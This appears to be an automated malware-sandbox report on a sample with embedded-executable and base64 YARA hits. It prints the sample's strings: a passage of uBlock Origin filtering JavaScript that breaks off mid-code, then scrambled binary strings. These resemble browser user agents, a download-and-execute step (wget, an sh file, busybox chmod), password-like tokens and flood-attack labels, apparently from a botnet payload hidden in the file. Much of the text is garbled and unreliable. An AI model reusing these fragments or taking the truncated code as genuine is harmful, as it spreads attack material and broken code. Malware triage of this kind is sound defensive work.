Sample details: 626721a3cdf075735df58a0785b1b6ce --

Hashes
MD5: 626721a3cdf075735df58a0785b1b6ce
SHA1: a866cda2f331f1d7a90dd0a92ebe07914434dd9e
SHA256: 76140621c0b2e27a486ba37d39121b3957d8a2561b499ebf92a9d90304a3762d
SSDEEP: 768:z7F5uSRwdrZ1HcTyh2T/aEc9TJaLVpcYhrh9TxjVYrmHLQLp7GPo:1IrrHcWhCaEcpJaLVplZamHMNp
Details
File Type: UTF-8
Yara Hits
CuckooSandbox/embedded_pe | YRP/domain | YRP/url | YRP/contentis_base64 |
Parent Files
eae8b84e9121563341a0e4a268df0094
Strings
		/*******************************************************************************
    uBlock Origin - a browser extension to block requests.
    Copyright (C) 2014-present Raymond Hill
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see {http://www.gnu.org/licenses/}.
    Home: https://github.com/gorhill/uBlock
'use strict';
/******************************************************************************/
Block.cosmeticFilteringEngine = (function(){
/******************************************************************************/
const 
Block;
const cosmeticSurveyingMissCountMax =
    parseInt(vAPI.localStorage.getItem('cosmeticSurveyingMissCountMax'), 10) ||
    15;
let supportsUserStylesheets = vAPI.webextFlavor.soup.has('user_stylesheet');
// https://www.reddit.com/r/uBlockOrigin/comments/8dkvqn/116_broken_loading_custom_filters_from_my_filters/
window.addEventListener('webextFlavor', function() {
    supportsUserStylesheets = vAPI.webextFlavor.soup.has('user_stylesheet');
}, { once: true });
/******************************************************************************/
/******************************************************************************/
const SelectorCacheEntry = class {
    constructor() {
        this.reset();
    reset() {
        this.cosmetic = new Set();
        this.cosmeticSurveyingMissCount = 0;
        this.net = new Map();
        this.lastAccessTime = Date.now();
        return this;
    dispose() {
        this.cosmetic = this.net = null;
        if ( SelectorCacheEntry.junkyard.length < 25 ) {
            SelectorCacheEntry.junkyard.push(this);
        }
    addCosmetic(details) {
        const selectors = details.selectors;
        let i = selectors.length || 0;
        // https://github.com/gorhill/uBlock/issues/2011
        //   Avoiding seemingly pointless surveys only if they appear costly.
        if ( details.first && i === 0 ) {
            if ( (details.cost || 0) >= 80 ) {
                this.cosmeticSurveyingMissCount += 1;
            }
            return;
        }
        this.cosmeticSurveyingMissCount = 0;
        while ( i-- ) {
            this.cosmetic.add(selectors[i]);
        }
    addNet(selectors) {
        if ( typeof selectors === 'string' ) {
            this.addNetOne(selectors, Date.now());
        } else {
            this.addNetMany(selectors, Date.now());
        }
        // Net request-derived selectors: I limit the number of cached
        // selectors, as I expect cases where the blocked net-requests
        // are never the exact same URL.
        if ( this.net.size < SelectorCacheEntry.netHighWaterMark ) {
            return;
        }
        const dict = this.net;
        const keys = Array.from(dict.keys()).sort(function(a, b) {
            return dict.get(b) - dict.get(a);
        }).slice(SelectorCacheEntry.netLowWaterMark);
        let i = keys.length;
        while ( i-- ) {
            dict.delete(keys[i]);
        }
    addNetOne(selector, now) {
        this.net.set(selector, now);
    addNetMany(selectors, now) {
        let i = selectors.length || 0;
        while ( i-- ) {
            this.net.set(selectors[i], now);
        }
    add(details) {
        this.lastAccessTime = Date.now();
        if ( details.type === 'cosmetic' ) {
            this.addCosmetic(details);
        } else {
            this.addNet(details.selectors);
        }
    // https://github.com/chrisaljoudi/uBlock/issues/420
    remove(type) {
        this.lastAccessTime = Date.now();
        if ( type === undefined || type === 'cosmetic' ) {
            this.cosmetic.clear();
            this.cosmeticSurveyingMissCount = 0;
        }
        if ( type === undefined || type === 'net' ) {
            this.net.clear();
        }
    retrieveToArray(iterator, out) {
        for ( let selector of iterator ) {
            out.push(selector);
        }
    retrieveToSet(iterator, out) {
        for ( let selector of iterator ) {
            out.add(selector);
        }
    retrieve(type, out) {
        this.lastAccessTime = Date.now();
        const iterator = type === 'cosmetic' ? this.cosmetic : this.net.keys();
        if ( Array.isArray(out) ) {
            this.retrieveToArray(iterator, out);
        } else {
            this.retrieveToSet(iterator, out);
        }
    static factory() {
        const entry = SelectorCacheEntry.junkyard.pop();
        if ( entry ) {
            return entry.reset();
        }
        return new SelectorCacheEntry();
SelectorCacheEntry.netLowWaterMark = 20;
SelectorCacheEntry.netHighWaterMark = 30;
SelectorCacheEntry.junkyard = [];
/******************************************************************************/
/******************************************************************************/
// Cosmetic filter family tree:
// Generic
//    Low generic simple: class or id only
//    Low generic complex: class or id + extra stuff after
//    High generic:
//       High-low generic: [alt="..."],[title="..."]
//       High-medium generic: [href^="..."]
//       High-high generic: everything else
// Specific
//    Specfic hostname
//    Specific entity
// Generic filters can only be enforced once the main document is loaded.
// Specific filers can be enforced before the main document is loaded.
const FilterContainer = function() {
    this.reHasUnicode = /[^\x00-\x7F]/;
    this.rePlainSelector = /^[#.][\w\\-]+/;
    this.rePlainSelectorEscaped = /^[#.](?:\\[0-9A-Fa-f]+ |\\.|\w|-)+/;
    this.rePlainSelectorEx = /^[^#.\[(]+([#.][\w-]+)|([#.][\w-]+)$/;
    this.reEscapeSequence = /\\([0-9A-Fa-f]+ |.)/g;
    this.reSimpleHighGeneric1 = /^[a-z]*\[[^[]+]$/;
    this.reHighMedium = /^\[href\^="https?:\/\/([^"]{8})[^"]*"\]$/;
    this.selectorCache = new Map();
    this.selectorCachePruneDelay = 10 * 60 * 1000; // 10 minutes
    this.selectorCacheAgeMax = 120 * 60 * 1000; // 120 minutes
    this.selectorCacheCountMin = 25;
    this.netSelectorCacheCountMax = SelectorCacheEntry.netHighWaterMark;
    this.selectorCacheTimer = null;
    // specific filters
    this.specificFilters = new 
b.staticExtFilteringEngine.HostnameBasedDB(2);
    // low generic cosmetic filters, organized by id/class then simple/complex.
    this.lowlyGeneric = Object.create(null);
    this.lowlyGeneric.id = {
        canonical: 'ids',
        prefix: '#',
        simple: new Set(),
        complex: new Map()
    };
    this.lowlyGeneric.cl = {
        canonical: 'classes',
        prefix: '.',
        simple: new Set(),
        complex: new Map()
    };
    // highly generic selectors sets
    this.highlyGeneric = Object.create(null);
    this.highlyGeneric.simple = {
        canonical: 'highGenericHideSimple',
        dict: new Set(),
        str: '',
        mru: new 
b.MRUCache(16)
    };
    this.highlyGeneric.complex = {
        canonical: 'highGenericHideComplex',
        dict: new Set(),
        str: '',
        mru: new 
b.MRUCache(16)
    };
    // Short-lived: content is valid only during one function call. These
    // is to prevent repeated allocation/deallocation overheads -- the
    // constructors/destructors of javascript Set/Map is assumed to be costlier
    // than just calling clear() on these.
    this.setRegister0 = new Set();
    this.setRegister1 = new Set();
    this.setRegister2 = new Set();
    this.mapRegister0 = new Map();
    this.reset();
/******************************************************************************/
// Reset all, thus reducing to a minimum memory footprint of the context.
FilterContainer.prototype.reset = function() {
    this.
buri = 
b.URI;
    this.frozen = false;
    this.acceptedCount = 0;
    this.discardedCount = 0;
    this.duplicateBuster = new Set();
    this.selectorCache.clear();
    if ( this.selectorCacheTimer !== null ) {
        clearTimeout(this.selectorCacheTimer);
        this.selectorCacheTimer = null;
    // generic filters
    this.hasGenericHide = false;
    // hostname, entity-based filters
    this.specificFilters.clear();
    // low generic cosmetic filters, organized by id/class then simple/complex.
    this.lowlyGeneric.id.simple.clear();
    this.lowlyGeneric.id.complex.clear();
    this.lowlyGeneric.cl.simple.clear();
    this.lowlyGeneric.cl.complex.clear();
    // highly generic selectors sets
    this.highlyGeneric.simple.dict.clear();
    this.highlyGeneric.simple.str = '';
    this.highlyGeneric.simple.mru.reset();
    this.highlyGeneric.complex.dict.clear();
    this.highlyGeneric.complex.str = '';
    this.highlyGeneric.complex.mru.reset();
/******************************************************************************/
FilterContainer.prototype.freeze = function() {
    this.duplicateBuster.clear();
    this.specificFilters.collectGarbage();
    this.hasGenericHide =
        this.lowlyGeneric.id.simple.size !== 0 ||
        this.lowlyGeneric.id.complex.size !== 0 ||
        this.lowlyGeneric.cl.simple.size !== 0 ||
        this.lowlyGeneric.cl.complex.size !== 0 ||
        this.highlyGeneric.simple.dict.size !== 0 ||
        this.highlyGeneric.complex.dict.size !== 0;
    this.highlyGeneric.simple.str = Array.from(this.highlyGeneric.simple.dict).join(',\n');
    this.highlyGeneric.simple.mru.reset();
    this.highlyGeneric.complex.str = Array.from(this.highlyGeneric.complex.dict).join(',\n');
    this.highlyGeneric.complex.mru.reset();
    this.frozen = true;
/******************************************************************************/
// https://github.com/gorhill/uBlock/issues/1668
//   The key must be literal: unescape escaped CSS before extracting key.
//   It's an uncommon case, so it's best to unescape only when needed.
FilterContainer.prototype.keyFromSelector = function(selector) {
    let matches = this.rePlainSelector.exec(selector);
    if ( matches === null ) { return; }
    let key = matches[0];
    if ( key.indexOf('\\') === -1 ) {
        return key;
    matches = this.rePlainSelectorEscaped.exec(selector);
    if ( matches === null ) { return; }
    key = '';
    let escaped = matches[0],
        beg = 0;
    this.reEscapeSequence.lastIndex = 0;
    for (;;) {
        matches = this.reEscapeSequence.exec(escaped);
        if ( matches === null ) {
            return key + escaped.slice(beg);
        }
        key += escaped.slice(beg, matches.index);
        beg = this.reEscapeSequence.lastIndex;
        if ( matches[1].length === 1 ) {
            key += matches[1];
        } else {
            key += String.fromCharCode(parseInt(matches[1], 16));
        }
/******************************************************************************/
FilterContainer.prototype.compile = function(parsed, writer) {
    // 1000 = cosmetic filtering
    writer.select(1000);
    const hostnames = parsed.hostnames;
    let i = hostnames.length;
    if ( i === 0 ) {
        this.compileGenericSelector(parsed, writer);
        return true;
    // https://github.com/chrisaljoudi/uBlock/issues/151
    // Negated hostname means the filter applies to all non-negated hostnames
    // of same filter OR globally if there is no non-negated hostnames.
    let applyGlobally = true;
    while ( i-- ) {
        const hostname = hostnames[i];
        if ( hostname.startsWith('~') === false ) {
            applyGlobally = false;
        }
        this.compileSpecificSelector(hostname, parsed, writer);
    if ( applyGlobally ) {
        this.compileGenericSelector(parsed, writer);
    return true;
/******************************************************************************/
FilterContainer.prototype.compileGenericSelector = function(parsed, writer) {
    if ( parsed.exception === false ) {
        this.compileGenericHideSelector(parsed, writer);
    } else {
        this.compileGenericUnhideSelector(parsed, writer);
/******************************************************************************/
FilterContainer.prototype.compileGenericHideSelector = function(
    parsed,
    writer
    const selector = parsed.suffix;
    const type = selector.charCodeAt(0);
    let key;
    if ( type === 0x23 /* '#' */ ) {
        key = this.keyFromSelector(selector);
        // Simple selector-based CSS rule: no need to test for whether the
        // selector is valid, the regex took care of this. Most generic
        // selector falls into that category.
        // - ###ad-bigbox
        if ( key === selector ) {
            writer.push([ 0, key.slice(1) ]);
            return;
        }
    } else if ( type === 0x2E /* '.' */ ) {
        key = this.keyFromSelector(selector);
        // Simple selector-based CSS rule: no need to test for whether the
        // selector is valid, the regex took care of this. Most generic
        // selector falls into that category.
        // - ##.ads-bigbox
        if ( key === selector ) {
            writer.push([ 2, key.slice(1) ]);
            return;
        }
    const compiled = 
b.staticExtFilteringEngine.compileSelector(selector);
    // Invalid cosmetic filter, possible reasons:
    // - Bad syntax
    // - Procedural filters (can't be generic): the compiled version of
    //   a procedural selector is NEVER equal to its raw version.
    // https://github.com/uBlockOrigin/uBlock-issues/issues/464
    //   Pseudoclass-based selectors can be compiled, but are also valid
    //   plain selectors.
    // https://github.com/uBlockOrigin/uBlock-issues/issues/131
    //   Support generic procedural filters as per advanced settings.
    //   TODO: prevent double compilation.
    if (
        compiled === undefined ||
        compiled !== selector &&
        
b.staticExtFilteringEngine.compileSelector.pseudoclass !== true
    ) {
        if ( 
b.hiddenSettings.allowGenericProceduralFilters === true ) {
            return this.compileSpecificSelector('', parsed, writer);
        }
        const who = writer.properties.get('assetKey') || '?';
        
b.logger.writeOne({
            realm: 'message',
            type: 'error',
            text: `Invalid generic cosmetic filter in ${who}: ##${selector}`
        });
        return;
    // Complex selector-based CSS rule:
    // - ###tads + div + .c
    // - ##.rscontainer > .ellip
    if ( key !== undefined ) {
        writer.push([
            type === 0x23 /* '#' */ ? 1 : 3,
            key.slice(1),
            selector
        ]);
        return;
    // https://github.com/gorhill/uBlock/issues/909
    //   Anything which contains a plain id/class selector can be classified
    //   as a low generic cosmetic filter.
    const matches = this.rePlainSelectorEx.exec(selector);
    if ( matches !== null ) {
        const key = matches[1] || matches[2];
        writer.push([
            key.charCodeAt(0) === 0x23 /* '#' */ ? 1 : 3,
            key.slice(1),
            selector
        ]);
        return;
    // Pass this point, we are dealing with highly-generic cosmetic filters.
    //
    // For efficiency purpose, we will distinguish between simple and complex
    // selectors.
    if ( this.reSimpleHighGeneric1.test(selector) ) {
        writer.push([ 4 /* simple */, selector ]);
        return;
    if ( selector.indexOf(' ') === -1 ) {
        writer.push([ 4 /* simple */, selector ]);
    } else {
        writer.push([ 5 /* complex */, selector ]);
/******************************************************************************/
FilterContainer.prototype.compileGenericUnhideSelector = function(
    parsed,
    writer
    // Procedural cosmetic filters are acceptable as generic exception filters.
    const compiled = 
b.staticExtFilteringEngine.compileSelector(parsed.suffix);
    if ( compiled === undefined ) {
        const who = writer.properties.get('assetKey') || '?';
        
b.logger.writeOne({
            realm: 'message',
            type: 'error',
            text: `Invalid cosmetic filter in ${who}: #@#${parsed.suffix}`
        });
        return;
    // https://github.com/chrisaljoudi/uBlock/issues/497
    //   All generic exception filters are stored as hostname-based filter
    //   whereas the hostname is the empty string (which matches all
    //   hostnames). No distinction is made between declarative and
    //   procedural selectors, since they really exist only to cancel
    //   out other cosmetic filters.
    writer.push([ 8, '', 0b01, compiled ]);
/******************************************************************************/
FilterContainer.prototype.compileSpecificSelector = function(
    hostname,
    parsed,
    writer
    // https://github.com/chrisaljoudi/uBlock/issues/145
    let unhide = parsed.exception ? 1 : 0;
    if ( hostname.startsWith('~') ) {
        hostname = hostname.slice(1);
        unhide ^= 1;
    const compiled = 
b.staticExtFilteringEngine.compileSelector(parsed.suffix);
    if ( compiled === undefined ) {
        const who = writer.properties.get('assetKey') || '?';
        
b.logger.writeOne({
            realm: 'message',
            type: 'error',
            text: `Invalid cosmetic filter in ${who}: ##${parsed.suffix}`
        });
        return;
    let kind = 0;
    if ( unhide === 1 ) {
        kind |= 0b01;     // Exception
    if ( compiled.charCodeAt(0) === 0x7B /* '{' */ ) {
        kind |= 0b10;     // Procedural
    writer.push([ 8, hostname, kind, compiled ]);
/******************************************************************************/
FilterContainer.prototype.fromCompiledContent = function(reader, options) {
    if ( options.skipCosmetic ) {
        this.skipCompiledContent(reader);
        return;
    if ( options.skipGenericCosmetic ) {
        this.skipGenericCompiledContent(reader);
        return;
    // 1000 = cosmetic filtering
    reader.select(1000);
    let db, bucket;
    while ( reader.next() ) {
        this.acceptedCount += 1;
        const fingerprint = reader.fingerprint();
        if ( this.duplicateBuster.has(fingerprint) ) {
            this.discardedCount += 1;
            continue;
        }
        this.duplicateBuster.add(fingerprint);
        const args = reader.args();
        switch ( args[0] ) {
        // low generic, simple
        case 0: // #AdBanner
        case 2: // .largeAd
            db = args[0] === 0 ? this.lowlyGeneric.id : this.lowlyGeneric.cl;
            bucket = db.complex.get(args[1]);
            if ( bucket === undefined ) {
                db.simple.add(args[1]);
            } else if ( Array.isArray(bucket) ) {
                bucket.push(db.prefix + args[1]);
            } else {
                db.complex.set(args[1], [ bucket, db.prefix + args[1] ]);
            }
            break;
        // low generic, complex
        case 1: // #tads + div + .c
        case 3: // .Mpopup + #Mad > #MadZone
            db = args[0] === 1 ? this.lowlyGeneric.id : this.lowlyGeneric.cl;
            bucket = db.complex.get(args[1]);
            if ( bucket === undefined ) {
                if ( db.simple.has(args[1]) ) {
                    db.complex.set(args[1], [ db.prefix + args[1], args[2] ]);
                } else {
                    db.complex.set(args[1], args[2]);
                    db.simple.add(args[1]);
                }
            } else if ( Array.isArray(bucket) ) {
                bucket.push(args[2]);
            } else {
                db.complex.set(args[1], [ bucket, args[2] ]);
            }
            break;
        // High-high generic hide/simple selectors
        // div[id^="allo"]
        case 4:
            this.highlyGeneric.simple.dict.add(args[1]);
            break;
        // High-high generic hide/complex selectors
        // div[id^="allo"] > span
        case 5:
            this.highlyGeneric.complex.dict.add(args[1]);
            break;
        // hash,  example.com, .promoted-tweet
        // hash,  example.*, .promoted-tweet
        case 8:
            this.specificFilters.store(args[1], args[2], args[3]);
            break;
        default:
            this.discardedCount += 1;
            break;
        }
/******************************************************************************/
FilterContainer.prototype.skipGenericCompiledContent = function(reader) {
    // 1000 = cosmetic filtering
    reader.select(1000);
    while ( reader.next() ) {
        this.acceptedCount += 1;
        const fingerprint = reader.fingerprint();
        if ( this.duplicateBuster.has(fingerprint) ) {
            this.discardedCount += 1;
            continue;
        }
        const args = reader.args();
        switch ( args[0] ) {
        // hash,  example.com, .promoted-tweet
        // hash,  example.*, .promoted-tweet
        case 8:
            this.duplicateBuster.add(fingerprint);
            this.specificFilters.store(args[1], args[2], args[3]);
            break;
        default:
            this.discardedCount += 1;
            break;
        }
/******************************************************************************/
FilterContainer.prototype.skipCompiledContent = function(reader) {
    // 1000 = cosmetic filtering
    reader.select(1000);
    while ( reader.next() ) {
        this.acceptedCount += 1;
        this.discardedCount += 1;
/******************************************************************************/
FilterContainer.prototype.toSelfie = function() {
    return {
        acceptedCount: this.acceptedCount,
        discardedCount: this.discardedCount,
        specificFilters: this.specificFilters.toSelfie(),
        hasGenericHide: this.hasGenericHide,
        lowlyGenericSID: Array.from(this.lowlyGeneric.id.simple),
        lowlyGenericCID: Array.from(this.lowlyGeneric.id.complex),
        lowlyGenericSCL: Array.from(this.lowlyGeneric.cl.simple),
        lowlyGenericCCL: Array.from(this.lowlyGeneric.cl.complex),
        highSimpleGenericHideArray: Array.from(this.highlyGeneric.simple.dict),
        highComplexGenericHideArray: Array.from(this.highlyGeneric.complex.dict),
    };
/******************************************************************************/
FilterContainer.prototype.fromSelfie = function(selfie) {
    this.acceptedCount = selfie.acceptedCount;
    this.discardedCount = selfie.discardedCount;
    this.specificFilters.fromSelfie(selfie.specificFilters);
    this.hasGenericHide = selfie.hasGenericHide;
    this.lowlyGeneric.id.simple = new Set(selfie.lowlyGenericSID);
    this.lowlyGeneric.id.complex = new Map(selfie.lowlyGenericCID);
    this.lowlyGeneric.cl.simple = new Set(selfie.lowlyGenericSCL);
    this.lowlyGeneric.cl.complex = new Map(selfie.lowlyGenericCCL);
    this.highlyGeneric.simple.dict = new Set(selfie.highSimpleGenericHideArray);
    this.highlyGeneric.simple.str = selfie.highSimpleGenericHideArray.join(',\n');
    this.highlyGeneric.complex.dict = new Set(selfie.highComplexGenericHideArray);
    this.highlyGeneric.complex.str = selfie.highComplexGenericHideArray.join(',\n');
    this.frozen = true;
/******************************************************************************/
FilterContainer.prototype.triggerSelectorCachePruner = function() {
    // Of interest: http://fitzgeraldnick.com/weblog/40/
    // http://googlecode.blogspot.ca/2009/07/gmail-for-mobile-html5-series-using.html
    if ( this.selectorCacheTimer === null ) {
        this.selectorCacheTimer = vAPI.setTimeout(
            this.pruneSelectorCacheAsync.bind(this),
            this.selectorCachePruneDelay
        );
/******************************************************************************/
FilterContainer.prototype.addToSelectorCache = function(details) {
    let hostname = details.hostname;
    if ( typeof hostname !== 'string' || hostname === '' ) { return; }
    let selectors = details.selecF,@
TNKNLWN
igeows#NT
( Ge`ko
U+!Linvx 
8 !Gecho/
Hro/3-1
ozqatiale
y|mablf) 
H]LL, oik
%)Macjnt
S)Y; em; 
171118 
a&4.0 +Wi
7.1;#rv
1	Loziola
786;#pl
cbn/20390
)Wingow
12!cs;#rv
728 nyi
a&5.0 +co
hndots 
12!.NEW C
dnteq P
a&4.0 +Wi
: SG8 r
190104#Ne
mla/6.0
62!en-VS;
I190317 
a&4.0 +PL
x)y86_54;
m001 Whu
h}oing,4.
S}`tiom P
a)PlazSt
Gdndo#DS
1'05 [fn]
FjBerqy7
IMQ-2.3 C
4+!Proeil
aehon/@LD
e{`/9.;0 
otu/24.
 Adrsiln/
9>90 (Tin
ezuo/2-7.
Loziola
6H74; V; 
.200:12
e{` 10-62
eows#NT
3 /36 +KH
le/42.0
nid 7.4
.$7 (KKTM
mu.50.3.2
i&437.06
eows8 U
n5TS) Bpp
T\M, ljke
30!Safbri
M)comsat
dxvs NW 6
lefrbme
	Loziola
D 6.3; 
;7tZargWe
;)T; Imte
[,us)#Ap
HCLL, oik
00Rafaqi/
	RonyFri
\LC-Bqow
P:3.0 @on
e2!MSIF 9
sidemt/
ee: Megia
zymla/6.0
Mhb OS#X 
1110617
tycle;#MS
6'0; Tqid
/%/2 Pqof
ub`tiom/C
a&4.0 +An
sv:9-0)
eqnx/9-0 
zymla/6.0
a)P7; Are
10 LDE 
/'9.B7-AC
/]HDP-1.0
wpdt hwtp
n!r.sh#-O
uzxbox#ch
!lp/jfSj
woliwio
	eefavlt
yc3521
ige5886
	wertfx2
a{.run,
e	`sswlrd
nodbze
ef63qlr
	Dragln 
Iost9 %
Cfonecwio
 c`w slck
 {`w hfad
vqmid ela
CCui3ovku
 LEDMM6B
rtdfooo
jennvgg
766656
no1l20jm
	citclin
oCUsbXvnu
`bcd223
sdsqvad
	0QD8zpG
sbhdsnft
DNDIBN_
\bted#->
n,drro
Ibuerr
yLd`pQ
bEs/u`fd bu
t b2ob
axhd a2gf7dnt
fdmes 
q3`te 
n)eevi
deg@D{
a%x le
f-sang
M!3 hq
qTt!cy=e
\ew%l1}!hal
0Lap b
o?!not
"*edre
p%e li
ybsvry0$iS
r-hnco
g{supt
berwar
bEczs `)pD
 xrers
&Eesty
sOew t
tAnn n
 h`mil
0Dr/pa&e co
~ou`s{
0eospoy.t
nt!ref
c elwn
eTg7to0(oR\
eley i
uTme N
u	` XE
-x9o.bdef
U$<5.1.
CI; (G
S:!hGR
(1OU) 
1hGPU( 4.
S:"hGVz( 4.
CV; (G
ABC: W
U$r5.1.
CL; (G
WnDi )
KBC: +GN
WCB9 (
;?)GNU
$hGS0( 4.
(KOU) 7.1
WNT* 4
(; (G^
('5.1.
NA( 4.
@G\@; (G
))5.1.
S:!hGU
CK; (G1
N\( 4.
E)!t.*Q3
:()GNUV
))5.1.
04/q.);
WNTi /
(JOU)